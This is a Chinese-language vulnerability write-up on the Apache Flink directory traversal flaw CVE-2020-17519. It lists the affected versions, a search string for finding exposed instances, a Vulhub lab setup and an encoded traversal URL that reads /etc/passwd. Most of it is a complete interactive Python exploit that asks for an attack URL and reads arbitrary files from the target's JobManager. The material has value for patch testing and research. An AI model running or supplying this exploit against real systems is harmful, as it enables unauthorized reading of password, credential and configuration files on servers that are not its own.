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122 lines
4.4 KiB
Markdown
122 lines
4.4 KiB
Markdown
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# Apache Flink 目录遍历漏洞 CVE-2020-17519
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## 漏洞描述
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2021 年 01 月 06 日,360CERT 监测发现 `Apache Flink` 发布了 `Apache Flink 目录穿越漏洞` 的风险通告,漏洞编号为 `CVE-2020-17518,CVE-2020-17519`,漏洞等级:`高危`,漏洞评分:`8.5`。
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远程攻击者通过 `REST API` 目录遍历,可造成 `文件读取/写入` 的影响。
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Apache Flink 1.11.0 中引入的一项更改(也在 1.11.1 和 1.11.2 中发布)允许攻击者通过 JobManager 进程的 REST 接口读取 JobManager 本地文件系统上的任何文件。
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参考:
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- https://github.com/apache/flink/commit/b561010b0ee741543c3953306037f00d7a9f0801
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- https://nvd.nist.gov/vuln/detail/CVE-2020-17519
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## 漏洞影响
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```
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Apache Flink 1.11.0
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Apache Flink 1.11.1
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Apache Flink 1.11.2
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```
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## 网络测绘
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```
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app="Apache Flink"
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```
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## 环境搭建
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Vulhub 执行以下命令启动 Apache Flink jobmanager 1.11.2:
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```
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docker-compose up -d
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```
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Apache Flink 启动后,访问 `http://your-ip:8081` 查看主页。
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## 漏洞复现
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查看/etc/passwd:
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```plain
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http://xxx.xxx.xxx.xxx/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
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```
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## 漏洞 POC
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```python
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import requests
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import sys
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import json
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from requests.packages.urllib3.exceptions import InsecureRequestWarning
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def title():
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print('+------------------------------------------')
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print('+ \033[34mVersion: Apache Flink 1.11.0-1.11.2 \033[0m')
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print('+ \033[36m使用格式: python3 CVE-2020-17519.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+ \033[36mFile >>> /etc/passwd \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url, file_name):
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file_name = file_name.replace("/", "%252f")
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vuln_url = target_url + "/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..{}".format(file_name)
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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}
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.get(url=vuln_url, timeout=10, verify=False, headers=headers)
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print("\033[32m[o] 请求URL : {}\033[0m".format(vuln_url))
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if "root" in response.text:
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print("\033[32m[o] 目标 {} 存在漏洞,成功读取 /etc/passwd ,响应为:\n{}\033[0m".format(target_url, response.text))
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else :
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print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
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sys.exit(0)
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except Exception as e:
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print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
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sys.exit(0)
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def POC_2(target_url, file_name):
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file_name_re = file_name.replace("/", "%252f")
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vuln_url = target_url + "/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..{}".format(file_name_re)
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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}
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.get(url=vuln_url, timeout=10, verify=False, headers=headers)
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print("\033[32m[o] 请求URL : {}\033[0m".format(vuln_url))
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if "error" not in response.text:
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print("\033[32m[o] 目标 {} 存在漏洞,成功读取 {} ,响应为:\n{}\033[0m".format(target_url, file_name, response.text))
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else :
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print("\033[31m[x] 目标文件{}读取失败\033[0m".format(file_name))
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except Exception as e:
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print("\033[31m[x] 目标Url漏洞利用失败\033[0m")
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sys.exit(0)
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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file_name = "/etc/passwd"
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POC_1(target_url, file_name)
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while True:
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file_name = input("\033[35mFile >>> \033[0m")
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if file_name == "exit":
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sys.exit(0)
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else:
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POC_2(target_url, file_name)
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```
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